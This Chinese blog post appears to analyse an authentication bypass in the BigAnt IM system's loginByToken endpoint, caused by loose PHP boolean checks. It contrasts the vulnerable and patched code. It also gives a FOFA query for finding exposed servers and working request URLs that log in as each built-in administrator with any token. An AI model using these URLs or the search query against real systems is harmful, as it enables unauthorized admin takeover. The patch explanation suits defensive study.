大蚂蚁 (BigAnt) 即时通讯系统 loginByToken 逻辑错误至权限绕过漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 loginByToken 接口存在逻辑错误,可导致权限绕过以任意用户身份登录进系统,从而造成系统敏感信息泄露,甚至系统权限丢失。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

这个漏洞是在分析官方补丁的时候发现的,还记得上一篇文章 大蚂蚁 (BigAnt) 即时通讯系统 upload_file 任意文件上传漏洞 提到的补丁文件部分除了上传漏洞的DispersedAddinController,另一个就是本次漏洞的主角 Application/Home/Controller/LoginController.class.php,我对比了补丁和安装的最新版本发现差异如下

原本如下逻辑代码

$isok= D("Common/AppCenter")->checkToken($uid,$token);
if(!$isok){
        die(json_encode(sp_api_fail(ERR_OP_ERR, "token 效验失败", JSON_UNESCAPED_UNICODE))) ;
}

补丁修改成如下逻辑

$res= D("Common/AppCenter")->checkToken($uid,$token);
if($res!==true){
    die(json_encode(sp_api_fail(ERR_OP_ERR, "token 效验失败", ),JSON_UNESCAPED_UNICODE)) ;
}

其中有两处非常重要的改变在比较部分,这是一个典型的 php 类型混淆(Type Juggling)漏洞。

!$isok 使用松散类型判断,以下情况都会被认为是"验证通过":

$isok = "error";      // !"error" = false → 验证通过 ❌
$isok = 1;            // !1 = false → 验证通过 ❌
$isok = ["data"];     // !["data"] = false → 验证通过 ❌
$isok = "0";          // !"0" = true → 验证失败(但逻辑可能不符预期)

如果 checkToken() 返回错误信息字符串或其他非布尔值,攻击者可能绕过验证。

跟进 checkToken() 方法看下

只有成功验证才会返回true,可以正确进行比较,返回其他字符串都会导致比较被绕过,从而导致鉴权绕过。

$isok = D("Common/AppCenter")->checkToken($uid, $token);
if (!$isok) {
    die(...);  // 验证失败
}
// 继续执行(验证通过)

PHP 类型转换规则:非空字符串在布尔上下文中为 true

// 验证失败时
$isok = " uid xxx token 传入参数为空";  // 返回错误信息字符串
!$isok = !"非空字符串" = !true = false

if (false) {  // 条件不成立
    die(...);  // ❌ 不会执行
}
// ✅ 继续执行 → 认证被绕过!

因此攻击者只需发送任意请求(甚至不需要提供 token),就能绕过认证,所有验证失败的情况都会返回字符串 → !字符串 = false → 绕过认证。

而补丁使用if($res !== true)

使用 !==(严格不等于)确保:

  • 只有当 $res 是布尔值 true 时才通过验证
  • 任何其他值(false、null、字符串、数组等)都会触发失败

在进行安全相关的布尔判断时,始终使用严格比较(=== 或 !==)才是最佳实践!

漏洞复现

以下系统内置四种管理用户都可直接登录

系统管理员

  • /home/login/loginByToken?uid=1&token=asdasdasdadasadad

安全管理员

  • /home/login/loginByToken?uid=2&token=asdasdasdadasadad

审计管理员

  • /home/login/loginByToken?uid=3&token=asdasdasdadasadad

超级管理员

  • /home/login/loginByToken?uid=4&token=asdasdasdadasadad


手机扫码阅读

大蚂蚁 (BigAnt) 即时通讯系统 h5uploadFile 任意文件上传漏洞

大蚂蚁 (BigAnt) 即时通讯系统 upload_file 任意文件上传漏洞

评 论